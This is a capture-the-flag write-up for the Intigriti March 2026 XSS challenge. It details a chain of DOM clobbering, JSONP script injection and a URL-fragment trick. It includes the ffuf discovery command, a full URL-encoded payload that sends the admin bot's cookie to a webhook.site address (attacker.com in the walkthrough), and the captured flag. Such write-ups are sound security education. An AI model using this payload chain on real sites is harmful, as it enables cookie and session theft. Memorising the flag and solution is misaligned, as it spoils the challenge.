For the complete documentation index, see llms.txt. This page is also available as Markdown.

Intigriti March 2026 XSS Challenge-0326 Writeup

Asset

https://challenge-0326.intigriti.io

Summary

A DOM-based XSS vulnerability exists on the challenge page that allows an attacker to steal the admin's cookies by chaining four techniques: discovery of a hidden JSONP endpoint via fuzzing, DOM Clobbering to set window.authConfig, ComponentManager script injection to load same-origin JSONP as a script, and a URL fragment trick to bypass an appended .js suffix.

Steps to Reproduce

Step 1 — Discover the Hidden JSONP Endpoint

The challenge page contains a hidden form field with domain=internal. Using ffuf with this parameter fixed, the hidden endpoint was discovered:

Command:

ffuf -u "https://challenge-0326.intigriti.io/api/FUZZ?callback=test&domain=internal" \
     -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt \
     -rate 3 -t 1 -mc 200 -fs 2121

Result:

[Status: 200, Size: 56]
URL: https://challenge-0326.intigriti.io/api/stats?callback=test&domain=internal
Response: test({"users":1337,"active":42,"status":"Operational"});

The endpoint reflects the callback parameter directly into a JavaScript response. Callback validation was tested:

curl ".../api/stats?domain=internal&callback=alert(1)"
→ {"error":"Invalid callback identifier"}  ← blocks invalid identifiers

Step 2 — Analyze components.js

Fetching /js/components.js revealed two key functions:

a) window.Auth.loginRedirect — reads window.authConfig.dataset.next and window.authConfig.dataset.append, then redirects to: next + "?token=" + document.cookie This is the exfiltration function.

b) ComponentManager — scans DOM for [data-component="true"] elements and loads scripts by building: scriptUrl = config.path + config.type + ".js" This is the script injection sink.

Step 3 — Identify DOMPurify Bypass via DOM Clobbering

The q= parameter is sanitized by DOMPurify 3.0.6:

Testing showed that <form> tags and data-* attributes survive sanitization:

Named form elements become window properties in browsers: window.authConfig === document.querySelector('form[name="authConfig"]') // true

HTML element data-* attributes map to element.dataset.*:

This DOM Clobbers window.authConfig, controlling loginRedirect behavior without any JavaScript execution.

Step 4 — Bypass .js Suffix via URL Fragment

ComponentManager always appends .js to scriptUrl. Setting type:"#" produces: scriptUrl = "/api/stats?callback=window.Auth.loginRedirect" + "#" + ".js" = "/api/stats?callback=window.Auth.loginRedirect#.js"

The # turns .js into a URL fragment the server ignores it and responds with valid JavaScript.

Step 5 — Craft Final Payload

** HERE IS FULLY AUTOMATED SCRIPT**

Final URL (URL encoded): https://challenge-0326.intigriti.io/challenge.html?q=%3Cform%20name%3D%22authConfig%22%20data-next%3D%22https%3A//webhooksite.net/3aaca1b8-9aae-4c7b-aea6-7c5b1d259538%3Fc%3D%22%20data-append%3D%22true%22%3E%3C/form%3E%3Cdiv%20data-component%3D%22true%22%20data-config%3D%27%7B%22path%22%3A%22/api/stats%3Fcallback%3Dwindow.Auth.loginRedirect%22%2C%22type%22%3A%22%23%22%7D%27%3E%3C/div%3E

Step 6 — Deliver to Admin Bot

Click on Report it to Admin in webpage Paste you crafted payload Click Send and check your webhook site you will get flag

On Burpsuite Intercept the request

Response: "Admin bot is visiting the URL..."

Step 7 — Execution Chain on Admin Bot

1. Bot visits the malicious URL 2. DOMPurify sanitizes q= → form + div injected into DOM 3. window.authConfig = form element (DOM Clobbering) → dataset.next = "https://attacker.com?c=" → dataset.append = "true" 4. ComponentManager.init() finds the div → loads /api/stats?callback=window.Auth.loginRedirect#.js as script 5. Server returns: window.Auth.loginRedirect({"users":1337,...}) 6. loginRedirect() executes: → redirectUrl = "https://attacker.com?c=" + "&token=" + document.cookie → window.location.href = redirectUrl 7. Admin bot redirects to attacker server with FLAG in URL

Step 8 — Flag Captured

Attacker server received:

Flag

INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}

Last updated